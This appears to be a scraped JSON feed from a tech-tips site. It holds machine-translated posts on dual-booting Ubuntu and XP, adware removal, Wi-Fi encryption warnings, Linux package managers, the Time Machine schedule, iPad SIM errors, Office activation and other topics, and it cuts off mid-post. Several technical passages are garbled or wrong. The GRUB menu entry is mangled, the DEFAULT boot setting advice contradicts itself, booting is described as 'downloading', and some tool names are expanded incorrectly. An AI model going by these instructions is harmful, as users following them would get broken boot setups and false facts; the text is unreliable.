launched.\nncG1vNJzZmismaXArq3KnmWcp51ku7C%2B06ilZqiVp8CwusCloLOdlGLEqsDHZqWoqqSku267zZ4%3D\n","link":"/post/norton-personalized-with-norton-one/","section":"post","tags":null,"title":"Norton personalized with Norton One"},{"body":"When you turn on the device, if you want both Linux and XP to boot together to choose to use, you can follow the instructions below. The test was done with Ubuntu 7.04 (a version of Linux) and Windows XP Service Pack 2. In it, Ubuntu was installed first, XP was installed later on a Seagate 80 GB SATA hard drive. Install Ubuntu The first step is to create enough space on the disk to install Windows XP. The Ubuntu Live CD itself contains the GNOME Partition Editor to change the partition size ('separate' space on the hard disk) for Linux, but the Ubuntu 7.04 disk installs the file system when checked and causes error. Instead, users should use the GParted Live CD independently. The LiveCD ISO GParted is available on this page and you can burn it to a CD to boot the system from there (for example, version 0.3.4-7 can be used). Boot from the GParted LiveCD. Depending on the system, you can choose to start the automatic configuration.\n  During the boot, press the Enter button twice when the command prompt is waiting to select the keyboard diagram and the language settings. When the main GUI interface appears, right-click on the main partition (depending on your installation, maybe / dev / sda1 ) and select Resize / Move .\n  Use this slider to create enough space for installing XP later and click Resize / Move .\n  Once done, exit GParted and reboot the computer from the Windows XP CD.\nInstall Windows XP When the CD has finished downloading, press the Enter key to install Windows XP, then press F8 to accept the license agreement. When the partition screen appears, you can see that Windows Setup recognizes the two existing Ubuntu partitions and specifies the drive letter in letters (although it cannot read data from them). The space created for Windows XP appears here, select it and press Enter .\n  Since the main active partition ( / dev / hda1 ) is marked as bootable, Windows cannot be installed until this partition is marked as inactive so that the new partition \"takes over.\" Press Enter to change and then reformat the new partition.\n  Unfortunately, XP discovers two Ubuntu partitions and has specified the drive letter for them so the new partition used for installation will be designated as drive F. This is not the standard letter for the Windows drive.\nHowever, this problem only makes it difficult for older applications that need to default to the installation location as drive C. Reboot the computer when Windows is installed and you will see the machine boot right into XP. Since the Ubuntu GRUB boot loader component in the Master Boot Record has been overwritten, Ubuntu has not started yet. There are quite a few ways to make the Ubuntu partition bootable, but it is quite picky and must use FAT32 partition (FAT32 can be used for both Ubuntu and Windows). However, the simpler way is to reinstall GRUB as a system load component. Reinstall GRUB into Master Boot Record Boot the computer using Ubuntu Live CD. Go to the GNOME Partition Editor and you can see that Windows XP Partition is considered / dev / hda2 and marked as the boot partition. Right-click the Windows partition and select Manage Flags . Uncheck ' boot ' and select Close . Right-click on Ubuntu's main partition (/ dev / hda1), select Manage Flags and check ' boot ', click Close .\n    Now reinstall GRUB . Open Terminal (Applications, Accessories, Terminal) and type in sudo grub line\n  The GRUB application will work. Type find / boot / grub / stage1\n  This command will find where GRUB is installed and you will get the result of hd (0,0) . Change location by typing root (hd0,0) Now you are about to reinstall GRUB into the Master Boot Record, not the Ubuntu partition. Type setup (hd0)\n  This will save GRUB into the Master Boot Record. Type in QUIT and EXIT lines to exit GRUB and Terminal. Then restart the system. Ubuntu will appear at startup. Edit the boot menu \n The next thing to do is edit the GRUB boot menu to allow Windows XP to load at startup. Boot into the Ubuntu system and go to the Terminal utility. Type in the sudo gedit /boot/grub/menu.lst line\n  This will help load the GRUB menu file (basically a text file) inside GEdit.\nGo to the following section ' ## ## End Default Options ## \". There are components of the GRUB menu.\n  To create a new entry, scroll down to the end of the list and type the following lines:\nWindows XP title \n root (hd0,1) \n makeactivechainloader +1\n  This will place an entry in the boot menu to load Windows XP from its partition (hd0,1).\nIf you want more options, go up to MENU.LST and find TIMEOUT lines. The numerical value is specified for TIMEOUT to determine the amount of time to access the boot menu (in seconds) before the default operating system downloads. To configure the system to start in parallel, it is better to raise this value.\n  Just above TIMEOUT is DEFAULT. This feature determines which operating system is started by default.\nThe counting system starts from 0 and counts up. So DEFAULT = 0 means that Ubuntu always starts by default. If you want Windows XP to always start up, change its value to 0.\n  Save MENU.LST and exit GEdit and restart the system. Type ESC when asked to get the boot menu. Go down to the newly created Windows XP heading and press Enter. Windows XP will be downloaded.\nncG1vNJzZmismaXArq3KnmWcp51kwLWt0a1kpaGeqsVurc2dZLChnpm8uL%2BMsadmp55iwamxjKyYpp1doq6ktMinnA%3D%3D\n","link":"/post/start-linux-and-windows-xp-on-the-same-machine/","section":"post","tags":null,"title":"Start Linux and Windows XP on the same machine"},{"body":" Free application Update date: March 24, 2020 Platforms: Web, Android, iOS Download ClassDojo (Android) here.\nDownload ClassDojo (iOS) here.\nAccess ClassDojo here.\nClassDojo's messaging service is another big attraction as it allows parents and teachers to communicate through photo and video commentary, as well as direct messaging. The translation service offering over 35 languages ​​is a great tool as it allows teachers to enter text in their native language, asking all parents and guardians to read their text.\nClassDojo allows teachers to work with remote classrooms, including providing activities for students, solving classroom assignments, and sharing lessons. Students can earn behavior-based Dojo scores, allowing teachers to use the app to promote student positive behavior.\n  Features of ClassDojo ClassDojo is a very easy to use platform, with the teachers page divided into three parts: Classroom, Class Story, and Messages .\nThe first, Classroom , allows teachers to keep track of class and individual student grades, and at the same time generate reports. Teachers can go into the analysis here, view attendance reports or class behavior data. They can then filter the results by time and see any results in the data spreadsheet.\nSecond, Class Story , allows teachers to post photos, videos and messages so parents and guardians see what's going on in class.\nMessaging allows teachers to communicate directly with the entire classroom, individual students and parents. They are sent as email or messages in the app. Parents can decide how they want to be contacted.\nThe family is accessible through the website or the iOS and Android app. They can also view data containing the child's behavioral metrics displayed over time, as well as Class Story , along with interaction via Messages. Parents can also view multiple student accounts, ideal for families with multiple children in the same school.\nStudents can access through the website, view their profile and see their points earned or lost. Although students may view their own progress over time, there is no access to other students because the competitive element is not emphasized here.\nAdvantages\nFree, effective Highly interactive Allows teachers, parents and students to keep track of learning progress Defect\nThings like browser, computer, phone, etc are required and an Internet connection is required Can not be used for commercial purposes ncG1vNJzZmismaXArq3KnmWcp51ksK2t0qybqKKfYsGpsYyppqmtnJa%2FbrvNpaCnnV2YuaK%2F0qumqKVdlr2x\n","link":"/post/the-popular-online-classroom-app/","section":"post","tags":null,"title":"The popular online classroom app"},{"body":"In recent days, netizens are feverish with a very lively and meaningful picture of an old Japanese couple who always wears double clothes during their marriage years.\nWhile some people are trying to find a match that suits them, the Japanese couple 's well-coordinated combination is truly amazing. You can see this through the photos below, the costumes that this old couple wear looks cool. The couple has a bonpon51 account on Instagram ( this account is a combination of two people 's names along with their wedding day ), their accounts have more than 65k followers.\nIt is known that the couple are both over 60 years old and married for 37 years, but their daily dress style seems to be only half of their age. Gu fashion is very stylish of two silver-haired bearded grandparents with sweet old love. Even when faced with many difficulties and turbulence in life, they are always together, holding hands tightly to discover new lands and the more lovely thing is that they always wear double clothes every day. Which outfit do you like best? Do you believe this old Japanese couple has been wearing double clothes during their 37 years of marriage?\n                                            Do you want a sweet love like this?\nRefer to some more articles:\n9 photos show life changing \"dizzy\" after marriage How to shape failure brings true success for yourself 13 odd things can only happen in China Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kxKLAwqGgp59dqbWmec%2Bhpq2nXaSzbq2Mo5ipmZ6awKZ5wqisqaSVYsSmrdGipaBllKTCo7jEZpqlp6SdsrR5xaipZmtnYsamrdGs\n","link":"/post/watching-the-photo-of-a-japanese-couple-wearing-double-clothes-for-37-years/","section":"post","tags":null,"title":"Watching the photo of a Japanese couple wearing double clothes for 37 years"},{"body":"Maftask is a help process for Mac Auto Fixer, a very popular adware program. Mac Auto Fixer claims to \"clean up\" the virus on a Mac but will insert ads into the browser and run itself at startup. Maftask is malware and should be removed.\nHow Maftask appeared on the computer? You can accidentally install Maftask with another application. Mac Auto Fixer is a malware package, meaning that when installing something from an unreliable source (pop-up ads, phishing emails, etc.), it will install itself with the application. you intend to install. This is a common way to bring malware into Macs and other computers, because this method does not require hacking or exploiting the operating system or browser.\n  MacOS is no longer \"immune\" to malware. Malware previously focused primarily on Windows, but currently adware and phishing software also appear much more popular on Macs. Phishing software that users accidentally install directly is the most common type of malware today.\nIn this case, reliable antivirus software for the Mac will be the lifeline for you. Don't install software from pop-up ads, since most of these ads are phishing or malware. On a Mac, use reliable sources like the Mac App Store.\nHow to remove Maftask? Usually malware will try to insert itself into other programs to 'hide' it, so it is difficult to delete them. Fortunately, Mac Auto Fixer is not entirely a 'stubborn' program and is always in its own application container. Removing Mac Auto Fixer is as simple as deleting the application.\n  You can find the application in the Home Applications folder . Launch the Finder and click 'Applications' to find Mac Auto Fixer. Just press Ctrl and click (or right click) on the Mac Auto Fixer application, then move it to the trash. Restart the Mac to verify that the application has been deleted. Mac Auto Fixer can also be in System Applications in the root of the hard drive.\nAlternatively, you can try deleting it automatically with Malwarebytes, a free (and legitimate) malware scanner for macOS. Malwarebytes has the added benefit of deleting all the files associated with Mac Auto Fixer and any other malicious applications you may have installed.\n  Hope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWdlrO1rdKk\n","link":"/post/what-is-maftask/","section":"post","tags":null,"title":"What is Maftask?"},{"body":"If you take the time to explore Task Manager, you may have seen the process called 'Windows Audio Device Graph Isolation' and don't understand why it sometimes consumes system resources. This article will explain to you this process and how to fix it when it uses too many system resources.\nWhat is \"Windows Audio Device Graph Isolation\"? 'Windows Audio Device Graph Isolation' is an official part of Windows, this process is seen as the main audio tool of Windows 10. It processes digital signals including advanced sound reinforcement effects in Windows .\n  \"Windows Audio Device Graph Isolation\" is separated from standard Windows Audio service. Working with such services allows audio hardware product developers to use their sound reinforcement service without having to replace the Windows Audio service and this helps to be more stable. Windows Audio is \"deeply rooted\" in Windows, so if it crashes, the entire system will crash according to the audio system. Separation of digital signal processing, the most likely part of the problem, into a separate service, helps to prevent problems from occurring.\nThis separation also ensures that users can turn off system sound enhancement for all software used. For many reasons, audio hardware manufacturers often do not provide this option. You should also note that with some audio hardware, manufacturers can actually replace \"Windows Audio Device Graph Isolation\" with their own digital signal processing service. This is a service used by Creative SoundBlaster Recon3D.\n  Of course, if you don't run the \"Windows Audio Device Graph Isolation\" on the system, you won't need to fix the problem.\nWhy does this process sometimes consume a lot of system resources? Unfortunately, poor quality audio drivers can cause problems other than system crash. Some users have trouble with audio-enhanced drivers, leading to heavy use of system resources, CPU usage, memory or even resulting in hard drive thrashing. Under normal conditions, you will see 'Windows Audio Device Graph Isolation' without CPU usage, minimal memory and no disk activity. These numbers can increase dramatically when using sound effects but not much and they will return to normal quickly. If you see 'Windows Audio Device Graph Isolation' frequently using a lot of system resources, then you are having problems.\n  However, this problem is easy to solve because it has been separated from standard Windows Audio, making it easier for users to turn it off. You can try any software that the hardware manufacturer provides and see if any of the advanced sound effects can be disabled. Also you can do this right in Windows for supported devices. Open the Sound properties dialog by right-clicking the speaker icon in the notification area and then clicking ' Sounds '. Another way to open this dialog is to use the Control Panel and run Sound applet here.\n  On the \" Playback \" tab of the \" Sound \" window, select the device you suspect caused the problem and then click \" Properties \".\n  On the \" Enhancements \" tab of the device properties dialog, you will see a list of accessories supported by the device, this list will vary depending on the device you are using. Here we see webcam / microphone built-in screen. You should start by selecting the option ' Disable all enhancements ' and see if the problem is resolved.\n  If all the enhanced features are disabled, the problem may be fixed, meaning one of these features is the cause of the problem. So go back and try turning off each one of the specific enhancement options and find the cause. If you disable all enhancements in a device that do not fix the problem, you can re-enable them and switch to another device.\nCan disable Windows Audio Device Graph Isolation? You cannot actually disable the \"Windows Audio Device Graph Isolation\" without disabling the main Windows Audio service and this will cause the audio system to lose sound. Also you can't even temporarily end tasks, if you try to do this, Windows will display a message asking you to open the Audio Troubleshooter troubleshooter.\n  And the fact is, when running the troubleshooter, it doesn't solve the problem if you disable the enhancement. You can also access the troubleshooter by clicking Start , typing \" troubleshooting \" and then pressing Enter .\nCould this process be a virus? \"Windows Audio Device Graph Isolation\" is an official Windows component and not a virus. Although there have been no reports of a virus attacking this process, the future may be possible. To be sure, you can check the file location of the process by right-clicking on the ' Windows Audio Device Graph Isolation ' in Task Manager and selecting the Open File Location option .\n  If the file is stored in the WindowsSystem32 folder, this is the real file and you do not need to deal with the virus.\n  If you want to be sure or see files stored in a folder other than System 32 folder, perform system scan with your favorite antivirus software or refer to the list of 10 most effective antivirus software for Windows 2018 ok\nSee more:\nWays to troubleshoot audio on Windows 10 Fixed a bug with the speaker icon with a red X, the computer has no sound How to retrieve the Volume icon disappears on the Taskbar? Windows 10? ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWnnrulu9asZJqtlJ68brDEr6CcnV2cv6K8x2agrKeclsGqu81mmKecXay1unnIrGSirF2nwq%2B6yKeeZqeeYq5ur86mp66slac%3D\n","link":"/post/what-is-windows-audio-device-graph-isolation-and-why-is-it-running-on-a-computer/","section":"post","tags":null,"title":"What is Windows Audio Device Graph Isolation and why is it running on a computer?"},{"body":"Windows 10 now warns that Wi-Fi network users are not safe when using old security standards WEP and TKIP. Below is the meaning of the message and how to fix it.\nStarting with the May 2019 update, Windows will display a message stating that your network is not secure, even when using a password. If you see this message, then you are using Wired Equivalent Privacy (WEP) encryption or Temporal Key Integrity Protocol (TKIP). These encryption is no longer safe to use and you should switch to the new protocol or replace the router as soon as possible.\nInstructions for use and security of Wifi network Wi-Fi security is better than hiding the SSID 8 best Wifi security routers Why does Windows 10 give this warning?   Users all know to set a password to protect Wi-Fi network to prevent neighbors or roaming bad actions, protect Wifi network. However, when adding a password to the Wifi router, you don't actually prevent others from staying away from your network. Security protocol encrypts data to prevent anyone in the \"listening\" area from what you do.\nAmong Wifi encryption methods such as WEP, WPA, WPA2, WPA3; WEP is the oldest and least secure encryption method. The Wi-Fi Alliance approved the WEB in 1999, making the standard older than Windows XP, YouTube and the original iPod. WPA-TKIP has been authenticated again in 2002.\nCompare 4 types of security WiFi WEP, WPA, WPA2 and WPA3 That's why Windows warns you about these networks with the following warning:\n[Network Name] isn't secure\nThis Wi-Fi network uses an older security standard that's being phased out. We recommend kết nối đến một mạng khác.\n([Network name] is unsafe. This Wifi network uses an old security standard that has been removed. We recommend connecting to another network.)\nWhy is WEP and TKIP dangerous? Although (or because) its age, WEP and WPA-TKIP are still quite common. WEP is still used on routers provided by service providers. You do not have to change anything or activate WEP.\nWhen the encryption protocol was first released, most devices restricted WEP encryption to 64-bit due to US regulations. Although that has improved, you can still see 64-bit encryption when compared to WPA using 256-bit encryption. This is even worse when some holes have been found in this encryption method, making encryption vulnerable. In 2005, the FBI demonstrated the ability to crack WEP encryption in minutes.\nThe Wi-Fi Alliance alliance intends to replace WEP with WPA-TKIP, but unfortunately, the newer protocol uses many similar mechanisms. Because of that choice, the two protocols also share many of the same vulnerabilities. If you can crack the encryption of a protocol, you can also unlock the other protocol. Therefore, TKIP is not more secure than WEP.\nFor that reason, Microsoft warns users if they are still using WEP or TKIP so you can fix the problem. Microsoft plans to eliminate support for these protocols and then the latest versions of Windows 10 will not be able to connect to these networks.\nHow to fix this error on your WifI   If you see this message when connecting to a public Wi-Fi network, you can't fix it because only the router owner can fix this problem. That's why Windows recommends that you connect to another network.\nIf you see a message when connecting to a Wifi network, you should enable stronger Wifi encryption. If your router is quite new, it will have other options like WPA2 with AES and you should switch to that type of encryption. However, the admin page of the router will be different so the article cannot give exact instructions. You need to search for instructions for configuring a specific router model or refer to the user manual.\nYou need to find the router's IP and enter it into your browser, then find the Wifi security settings. If you don't know which encryption to choose, you can choose WPA2 + AES if it's available and don't choose WPA + AES.\nUpgrade Wi-Fi security from WEP to WPA2 The words in your router's dialog box may be slightly different, but those letters will be here. For example, WPA2 + AES may look like WPA2-PSK (AES). You will need to update the password on all your devices (even if you use the same password as before) after making changes.\nUpdate the router if you can't increase encryption   If you don't see any options better than WEP or TKIP, you should replace your router as soon as possible. If you are using a router provided by your network provider, you can contact them to see if they offer a newer model.\nBut a better option might be to buy a new router and spread the old router back to the network provider. They may charge a monthly fee if using that router.\nYou don't need to spend a lot of money on new routers. If your home is medium sized with a moderate number of Wifi devices (20 or less), you might consider TP-Link's AC1750 to be relatively cheap for 1.3 million VND and is easy to set up. You can even control it from the application if you want. Refer to the Top 7 best Wifi routers so that you don't know which one to buy.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2mnqtdrLavsM6wqmZpYGLAosWMsqauql2stqe1jKecra%2Bfp7hutdJmpaisXaiypMHRng%3D%3D\n","link":"/post/why-does-windows-10-say-your-wifi-network-is-not-secure/","section":"post","tags":null,"title":"Why does Windows 10 say your Wifi network is not secure?"},{"body":"The common point between all Linux distributions is that they need to be able to install new software packages into the system. Depending on the distribution, different package managers are available, allowing users to install, manage and delete packages easily and quickly. In this article, TipsMake.com will discuss the different available package managers, which can be used for which distribution and what makes each package manager special. The article will include Debian-based package managers, package managers based on RedHat Enterprise Linux (RHEL) and other custom-designed package managers.\nLearn about popular Linux package managers What is package management? Package managers based on Debian Dpkg package manager APT package manager Aptitude package manager  Package managers based on RedHat Enterprise Linux (RHEL) RPM package manager YUM package manager DNF package manager  Other package managers Pacman Package Manager ABS package manager Portage package manager  What is package management? Package manager is a collection of software tools that automate the process of installing, updating, configuring and deleting applications.\nApplications in Linux come in a package. The package is a file containing the desired software, along with all the software dependencies mentioned above. The reason the packages are used is because it simplifies the installation of Linux software. This is a standard way that developers use to provide and maintain software, as well as allow end users to install and update software. This makes Linux much easier to use than before, when most things have to be compiled by end users and often create problems.\n  For more on how Linux package manager works, please refer to the article: Decoding how the package manager works and software installation on Linux.\nPackage managers based on Debian Dpkg package manager   Ubuntu and Debian are considered one of the most widely used Linux-based operating systems on the market today. These two operating systems share the same package manager, with the lowest-level package management system dpkg, short for Debian Package. Dpkg is a basic package management software, with tools to install, remove and build packages.\nHowever, dpkg lacks advanced features such as downloading packages from the Internet or automatic dependency settings. Being able to download packages from the Internet is very useful, as it allows users to add repositories to packages, greatly increasing the selection of software that is easily installed on the system. The software installation process is also streamlined, by being able to easily find and install the package with a single command.\nAPT package manager   This is where the frontend like apt and aptitude work. APT, short for Advanced Package Tool, has much more advanced functionality when compared to dpkg. APT can also install, remove and build packages - however, its functionality does not stop there. APT can automatically update packages, automatically install dependencies and download the packages you need from the Internet. This is one of the most popular package managers installed on modern distributions. APT is preinstalled on Ubuntu, Debian and most other Debian-based operating systems.\nAptitude package manager   Aptitude is very similar to APT and provides most of the same functions as this package manager. But, Aptitude also provides some additional features, such as safety upgrades, that allow users to upgrade packages without deleting existing packages from the system. Packet retention is also available, which prevents certain packages from being upgraded automatically.\nBoth package managers actually use dpkg for basic operations and only use their own software to download and manage packages.\nPackage managers based on RedHat Enterprise Linux (RHEL) RPM package manager   RedHat and CentOS are one of the most widely used operating systems and are easily found on today's servers. The basic package management software found on these systems is RPM, short for Red Hat Package Manager. The package manager also performs basic operations such as installing and removing packages, and like dpkg, RPM cannot manage packages or install them directly from the Internet.\nYUM package manager   Like other Debian-based operating systems, the RHEL operating system also has its own software for managing packages. YUM, short for Yellow Dog Updater, is the most popular option in the form of RPM frontend. YUM opens up more functions for RPM files through archives, the ability to track what is installed on the system, keep up to date and more. YUM is optional based on RHEL equivalent of APT package manager.\nDNF package manager   DNF, short for Dandified Packaging Tool, is the more modern and advanced version of YUM manager. DNF combines YUM's features, while improving performance and resource usage. Currently, only Fedora uses this next generation YUM version, but hopefully, users will see it appear on more operating systems in the future.\nThere are several other package management tools available for RPM-based systems, such as up2date, urpmi and ZYpp. However, these package managers are widely used as YUM or DNF.\nOther package managers Sometimes, developers will create special package managers designed for Linux distributions. They are usually designed based on the operating system and found on mainstream Linux distributions.\nPacman Package Manager   Pacman is the package manager found on Arch Linux. Pacman is the only package management tool found on Arch, making it not a frontend. Arch Linux is a rolling release operating system, with updates, added every day. There are only a few commands with Pacman, used to search, install and delete packages. This package manager can connect to the Internet and retrieve packages from it, making Pacman more user-friendly. However, Pacman is designed to install software from Arch repository, so it cannot be installed from third-party repositories.\nABS package manager   ABS, short for Arch Build System, is a system of tools for creating installable software packages for Arch Linux in addition to source code. The ABS package manager includes several parallel operating tools for creating packages. These tools are all standalone programs, such as makepkg, pacman, asp, etc. The method of creating / installing ABS usage packages differs from regular Linux distributions. Instead of installing pre-compiled packages, you need to create the PKGBUILD file from the Svn or Git branch using the asp package. Then, you use the makepkg command, use the PKGBUILD file to download and compile the source code for your system. This makes ABS a more intuitive method of installing packages on Arch Linux. There are also several other ways to use ABS, such as customizing existing packages or building and installing custom kernels.\nPortage package manager   Portage is the package manager for Gentoo, a simple operating system, but must be compiled from the beginning when installed on any system. This is one of the most advanced package managers available, with new features and improvements being constantly added.\nAlthough there are many choices when using package management software, most of them are designed to accomplish similar tasks. Therefore, it is best to test and see which package management program will work best for your needs.\nIn essence, installing software on Linux helps improve distribution and the ability to use package managers makes your life a lot easier. Usually, just enter a simple command and your software will be quickly installed. No need to search for the correct installation file or Internet version.\nWish you find yourself the right choice!\nncG1vNJzZmismaXArq3KnmWcp51khm65zqyrZqifpcKtrdFmo6Kmpa16sa3CpJignV2irq%2Btxp6prGWkpLGixQ%3D%3D\n","link":"/post/9-most-popular-linux-package-managers-today/","section":"post","tags":null,"title":"9 most popular Linux package managers today"},{"body":"Miles \n\n   Time Machine - Time Machine is an Apple 'all-in-one' backup solution that takes a snapshot of your hard drive and backs up any files that were changed from the previous backup. The default configuration is quite sparse; There is an On / Off, Disk Selection and an Options area slider, where you can exclude the folders that do not need to be backed up.\nYou can assume that hourly backups are quite redundant. Apple does not give you a convenient way to change the default backup schedule. However there is another easy way to do that. Here we will show you two ways to change this hourly backup schedule.\nChange system files\nIf you just want to change the default time interval and not schedule anything else, follow this method.\nWarning: This tutorial involves changing system files. So you need to create a copy of the original files before making any changes.\n1. Navigate to\n / System / Library / LaunchDaemons  You will see a list of .plist files. Find the file com.apple.backupd-auto.plist\n2. Create a copy of this file somewhere on your hard drive.\n3. Verify that (with administrator privileges for your computer) can Read and Write for this file. Mark com.apple.backupd-auto.plist and 'Get Info' (Command + I). If you don't see 'admin - Read \u0026amp; Write' or 'your username] Read \u0026amp; Write' you need to add yourself to the list.\n4. Open this file with a text editor. Property List Editor does not allow you to save any changes for several reasons.\n 5. In the text editor, navigate to the lines\nStartInterval\n3600\nChange the value of 3600 to the number you want, which is the time between backups taking place (in seconds).\n6. Save your changes.\nTime Machine Editor\nAnother possible way to do this is to use the TimeMachineEditor utility. In addition to changing the default backup interval, it also lets you schedule your backup schedule monthly, week, day or hourly with high detail.\n Assign the desired actions, then click 'Apply'.\nRemember that TimeMachineEditor utility is completely free.\nDo you have other methods you can use to increase Time Machine's functionality? Please comment!\nncG1vNJzZmismaXArq3KnmWcp51ksKmtzaCcZqyYmnq1tcyeZKaZk522r7GMm5ico6WlerW1zJ5koqakmr%2B3rcs%3D\n","link":"/post/change-the-time-machine-backup-time-interval/","section":"post","tags":null,"title":"Change the Time Machine backup time interval"},{"body":"Close-up of the giant octopus fighting \"double-handed\" with a seal weighing about 120kg made the tourists on the coast in Kaikoura Bay, south of New Zealand not surprised.\nAssassin sharks ripped huge squid in death Close up of the screen of devouring the prey of the \"ocean killer\"   The ocean survival battle took place in about 20 minutes before the octopus was torn into pieces by seals.\nThis impressive sea view is recorded by Video Conner Stapley, a witness and guide of this tour.\nConner said, this is the largest octopus he has ever seen. This life-and-death battle is very rare and even rarer at this time because normally, Conner only sees seals eaten in the afternoon.\n Octopus was dubbed the ocean monster because it possessed long, rough tentacles but was still imprisoned in pain by seals.\nSeals often eat small fish, squid, crustaceans, seabirds and octopus. But octopus is the hardest prey because its bite contains a painful toxin.\nncG1vNJzZmismaXArq3KnmWcp51ksK270p5krqhdpLNuwMeeZKiblZa7brnOp6qtnaJir6a1zaBkraeio3qjxYytn55lo5qurb%2BMrKyrqKKewKawjKaYp7FdpbKwvMue\n","link":"/post/close-up-of-the-ocean-monster-being-torn-by-the-seals-surprised-many-people/","section":"post","tags":null,"title":"Close up of the ocean monster being torn by the seals surprised many people"},{"body":"If you are a professional office computer user, you probably use Adobe Reader to view PDF files and NitroPDF Free to create PDF files from other text formats. But when you need to convert PDF to Word or Excel, Adobe Standard is a perfect choice but this software is not free and quite expensive. So how to convert a PDF file to Word, Excel or PowerPoint for free with the most reasonable conversion quality?\n  \nOne pretty neat way is to use Comedocs PDF Converter, an extension for Google Chrome that has the added functionality of Google Drive to convert PDF files to Office formats quickly and easily. You won't need to install any software on Windows.\nTo use, first visit the Comedocs PDF Converter link on Google Web Store and install for Google Chrome\n  After installation is complete, please access your Google Drive account and upload the PDF file to convert.\n  When the upload process finishes, find the file you want to convert and right-click it, select the Open With command \u0026gt; Cometdocs PDF Converter .\n  The window asking for permission to link the account will appear, please confirm to continue.\n  Then go to the Cometdocs account.\n  In the next Select conversion type window, please tick the format you need to convert, then press Confirm.\n  Once selected, the conversion process will take place.\n  At the end of the process, a link from Google Docs will open with the content that you converted to the desired format.\n  Your remaining work at this time is just clicking the download icon again.\n  Pretty simple, isn't it?\nncG1vNJzZmismaXArq3KnmWcp51ksLC61Z6prWWgmbNuwM5mpp%2BemZiybsPIrZ%2BoraRiwrS1zaBkrKeWqcSivsQ%3D\n","link":"/post/convert-pdf-to-office-without-using-software/","section":"post","tags":null,"title":"Convert PDF to Office without using software"},{"body":"If you use an iPad, sometimes you encounter a SIM installation, but there is NO SIM installed. (There is no SIM installed) and this confuses you? When your iPad tablet suddenly does not accept Sim, you should not be too worried, try the following ways to fix the error.\nSim not supported This means that the Sim you installed in an unsupported device, such as the US with AT\u0026amp;T Apple products, Verizon, if you install a Sprint Sim, will have an invalid SIM notification (Invalid Sim) and NO SIM card notification. This means that your device is locked by the network operator, but this problem can be eliminated when you ever use the Vietnamese sim on the iPad.\nThe SIM is broken Sometimes, Sim may also be corrupted like the faulty processor chip for some reason. To check if the Sim has an error, you install it in another device and see the notifications, if the device does not receive Sim, you simply need to replace the Sim at the authorized dealer of the network. . If Sim works well on that device, try to reboot the device when attaching a bug and continue with the following ways.\nThe contact between the Sim and the device is broken Each device has a Sim slot so it can be called a Sim reading device and when this part of the device is faulty, it is possible to not accept Sim. In order to intervene and replace this Sim reader slot, you should go to Apple's trusted stores or authorized places to replace, if it is still within the warranty period, it is advisable to transfer to the network or store.\nWeak signal Occasionally, the signal of the network is flickering, it may cause NO SIM Installed phenomenon, to fix this error, try following these steps:\n- Turn on Airplane mode and leave it for about 20 seconds then turn it off.\n  - Reinstall the network settings from the Reset Network Settings option in General -\u0026gt; Reset.\n  \n- Remove the Sim and reinstall the iPad to reset the connection to the network provider and the wave column icon will appear\nError during old iOS installation Sometimes you install to the latest version of iOS and realize that it has not been tampered with the system via jailbreak, so you want to go back to the jailbroken version, but in the process there is an error with the iPad. Do not accept Sim.\n  \nYou need the following tools: The latest iTunes, the latest iOS version is currently version 6.1.3 for your device. Connect the iPad to the computer. Let iTunes receive the device and then notice a new version update. Hold down Shift and click the Restore button and choose to go to your location for iOS 6.1.3. After the restore process is complete, the iPad will accept the Sim you inserted. ncG1vNJzZmismaXArq3KnmWcp51ks6rEjKKnmpxdmr%2Bzu9FmrqKsmKTCtXnRnpqeoaaeu6h50qKk\n","link":"/post/fix-ipad-error-without-receiving-sim/","section":"post","tags":null,"title":"Fix iPad error without receiving Sim"},{"body":" Before you can start using Microsoft Office 2010, you will be required to activate your product via the Internet or telephone. If you do not activate Office 2010, you may have limited access to features when attempting to use the product....\nMethod 1of 2:\nActivating via Internet  Launch the Microsoft Office 2010 application on your computer.\n  Click on 'File' and point to 'Help.'\n  Click on 'Activate Product Key.' The Activation Wizard will display on-screen. If 'Activate Product Key' is not displayed under 'Help,' your software has already been activated, and no further action is needed.   Select the option to activate Microsoft Office 2010 online using the Internet.\n  Follow the steps in the online Activation Wizard to register and activate your product. You may be required to enter the product key, as well as your name and contact information. The product key is comprised of 25 characters, and may be printed on the receipt or packaging associated with Microsoft Office 2010.[1]\n Method 2of 2:\nActivating via Telephone  Launch the Microsoft Office 2010 application on your computer.\n  Click on 'File' and point to 'Help.'\n  Click on 'Activate Product Key.' The Activation Wizard will display on-screen. If 'Activate Product Key' is not displayed under 'Help,' your software has already been activated, and no further action is needed.   Select the option to activate Microsoft Office 2010 by telephone.\n  Select your country or region. Microsoft will provide you with the telephone number for the Activation Center in your region.\n  Call the telephone number provided to reach the Activation Center.\n  Enter the installation ID at the prompt, which will be displayed on your screen in the Activation Wizard.\n  Enter the product key, any other relevant information as instructed by the telephone prompts.\n  Write down the confirmation ID provided to you by the Activation Center.\n  Type your confirmation ID into the fields provided at the bottom of the Activation Wizard.\n  Press 'Enter.' Microsoft Office 2010 will now be activated.[2]\n  Marvin Fry Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmTqba3rdOeZKahk6e8tLvFrWSonpaesKZ5kWloaQ%3D%3D\n","link":"/post/how-to-activate-microsoft-office-2010/","section":"post","tags":null,"title":"How to Activate Microsoft Office 2010"},{"body":"Jhin is the Gunner who is considered the strongest in the DTCL with strong damage. Although based on the damage stat that Jhin deals not as big as the other champions. But from the 4th shot onwards, the damage that Jhin causes will be completely enough to destroy all enemies on the stage.\nBut this damage is not just Jhin alone, but he needs to depend on the surroundings. Dark Star's passive is a significant support for Jhin in the meta game, Jhin doesn't need energy to activate his passive.\nIn addition, equipment is also a scary support for Jhin if he accumulates 4-5 internal points. Below, you will learn how to dress up for Jhin and the strongest squad suitable for this Dark Starner.\nHow to dress for Jhin DTCL   Jhin is a champion with a mechanism that works well with his Whisper. Accordingly, Jhin will not increase the attack speed with equipment such as Angelic Staff, Spear Shojin, Chalice An Hue .\nTherefore, players should prepare and prepare for Jhin items that help increase physical damage, critical damage. The equipment that you should throw for Jhin will be Infinity Sword, Rage, Blue Bow, Angel Armor, Blood Sword, Sword of Death .\n  From the 4th shot onwards Jhin will significantly reduce the enemy's armor, making the enemy champion much weaker, including wearing equipment. If you look around and see that your team has Blitzcrank, throw it at Jhin's Magic Cloak or Trap.\nLineup suitable for Jhin   This roster in the top roster that TipsMake.com posted was \"Jhin and his 